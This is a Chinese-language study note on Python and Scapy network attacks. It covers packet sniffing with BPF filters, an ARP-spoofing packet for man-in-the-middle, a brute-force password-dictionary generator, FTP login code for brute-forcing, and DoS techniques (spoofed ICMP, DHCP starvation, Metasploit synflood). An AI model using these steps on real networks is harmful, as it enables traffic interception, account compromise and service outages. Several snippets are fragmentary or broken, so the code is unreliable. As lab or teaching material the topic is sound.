sniff()
BPF:
BPF为伯克利包过滤语法,可以确定该获取和检查哪些流量,忽略哪些流量
(1)Type用来规定使用名字或数字代表的类型,例如host、net和port等。
(2)Dir用来规定流量的方向,例如src、dst和src and dst等。
(3)Proto用来规定匹配的协议,例如ip、tcp和arp等。
例:“host 192.168.1.100”就是一条最为常见的过滤器,它用来过滤掉除了本机和192.168.169.133以外的所有流量。
如果希望再将范围限制小一些,例如,只捕获tcp类型的流量就可以使用“与”运算符,如“host 192.168.169.133 && tcp”
常见的过滤器:
(1)只捕获与网络中某一个IP的主机进行交互的流量:host 192.168.1.1”。
(2)只捕获与网络中某一个MAC地址的主机交互的流量:“ether host 00-1a-a0-52-e2-a0”。
(3)只捕获来自网络中某一个IP的主机的流量:“src host 192.168.1.1”。
(4)只捕获去往网络中某一个IP的主机的流量:“dst host 192.168.1.1”,host也可以省略。
(5)只捕获23端口的流量:“port 23”。
(6)捕获除了23端口以外的流量:“!23”。
(7)只捕获目的端口为80的流量:“dst port 80”。
(8)只捕获ICMP流量:“icmp”。
(9)只捕获type为3,code为0的ICMP流量:“icmp[0] = 3 &&icmp[1] = 0”。
prn:这个参数是一个函数,这个函数将会应用在每一个捕获到的数据包上。如果有函数则返回值,默认为空
如果希望即时显示捕获的数据包,就可以使用prn函数选项, 函数的内容为prn=lambda x:x.summary()
利用prn就可以不断的打印捕获到的数据包内容
另外可以定义一个回调函数,打印输出这个数据包。
def Callback(packet):
print packet.show()
sniff(prn=Callback) // 在sniff中进行调用
保存:
将捕获到的数据包进行保存到wrpcap函数进行保存
>>>packet = sniff(count=5) *
>>>wrpcap(“demo.pcap”, packet)
Scapy:
中间人欺骗:
gatewayIP="192.168.1.254" victimIP="192.168.1.101"
srcMAC="00:0c:29:b4:07:1b" dstMAC="00:0c:29:2D:7F:89"
构造数据包:sendp( Ether(dst=dstMAC,src=srcMAC)/ARP( psrc=gatewayIP,pdst=victimIP)
即使不为Ether中的dst和src赋值,系统其实也会自动将src的值设置为使用Kali Linux 主机的硬件地址
ARP欺骗 Python程序
身份认证攻击:
攻击方法:
1、纯字典攻击
2、混合攻击
3、完全暴力攻击 穷举法,对于低位纯数字还可以
使用python编写一个生成字典的工具:
在这个程序中需要使用到一个新的模块:itertools,这是一个强大的内置模块。
(1)count()函数:这个函数的作用是产生递增的序列,例如count(1,5),生成从1开始的循环器,每次增加5,即1,6,11,16,21,26,…
(2)cycle()函数:这个函数的作用是重复序列中的元素,例如cycle('hello'),将序列中的元素重复,即h,e,l,l,o,h,e,l,l,o,h,…
(3)repeat()函数:这个函数的作用是重复元素,构成无穷循环器,例如Repeat(100),即100,100,100,100,…。
(4)product()函数:它可以用来获得多个循环器的笛卡儿积,例如product('xyz', [0, 1]),得到的结果就是x0,y0,z0,x1,y1,z1。
(5)permutations('abcd', 2) #:从'abcd'中挑选两个元素,例如ab,bc,…,并将所有结果排序,返回为新的循环器。这些元素中的组合是有顺序的,同时生成cd和dc。
(6)combinations('abc', 2) #:从'abcd'中挑选两个元素,例如ab,bc,…,将所有结果排序,返回为新的循环器,这些元素中的组合是没有顺序的,例如c和d只能生成cd。
流程:
1、导入:
import itertools
2、指定生成字典的字符,这里使用所有的英文字符和数字(但是没有考虑大小写和特殊字符)。
words = "1234568790abcdefghijklmnopqrstuvwxyz"
3、使用itertools中提供的循环器来生成字典文件
temp =itertools.permutations(words,6)
4、新建文件
passwords = open("dic.txt","a")
5、循环写入
for i in temp:
passwords.write("".join(i))
passwords.write("".join("\n"))
FTP暴力:
Python中默认就提供了一个专门用来对FTP进行操作的ftplib模块,这个模块很精简,里面提供了一些用来实现登录、上传和下载的函数。
(1)ftp.connect("IP", "port") #连接的FTP Server和端口。
(2)ftp.login("user", "password") #连接的用户名,密码。
(3)ftp.retrlines(command[, callback]) #使用文本传输模式返回在服务器上执行命令的结果。
初始化流程:
1、导入
import ftplib
2、使用ftplib创建一个FTP对象
ftp=ftplib.FTP("192.168.1.133")
3、调用这个对象中的connect()函数去连接目标的21号端口.
ftp.connect("192.168.169.133",21,timeout=10)
FTP login:
ftp.login("admin","test") admin作为用户名,test作为密码来登录。
ftp.retrlines('LIST') #使用LIST命令
ftp.quit() #quit()函数断开与FTP服务器的连接
FTP暴力破解:
拒绝服务攻击:
二层Scapy模拟Macof:
三层随机模拟ip地址:
i.src=“%i.%i.%i.%i” %(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
id.dst=""
send(IP(dst="1.2.3.4")/ICMP())
死亡ping:
传输层:
三次握手:
(1)客户端向服务器端发送SYN(SEQ=x)数据包,并进入SYN_SEND状态。
(2)服务器端在收到客户端发出的SYN报文之后,回应一个SYN(SEQ=y)ACK(ACK=x+1)数据包,并进入SYN_RECV状态。
(3)客户端收到服务器端的SYN数据包,回应一个ACK(ACK=y+1)数据包,进入Established状态。
应用层:
(1)sending RAW packet: 发送原始数据包。
(2)sending disCOVER packet:发送请求获取IP地址数据包,占用所有的IP,造成拒绝服务。
(3)creating DHCP rogue server:创建虚假DHCP服务器,让用户连接,真正的DHCP无法工作。
(4)sending RELEASE packet:发送释放IP请求到DHCP服务器,致使正在使用的IP全部失效
msfconsle
use auxiliary/dos/tcp/synflood
synflood这个模块需要的参数包括RHOST、RPORT、SNAPLEN和TIMEOUT,后面的三个参数都有默认值,所以需要设置的只有RHOST,这也正是要发起拒绝服务攻击服务器的IP地址。
这个目标必须是对外提供HTTP服务的服务器。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。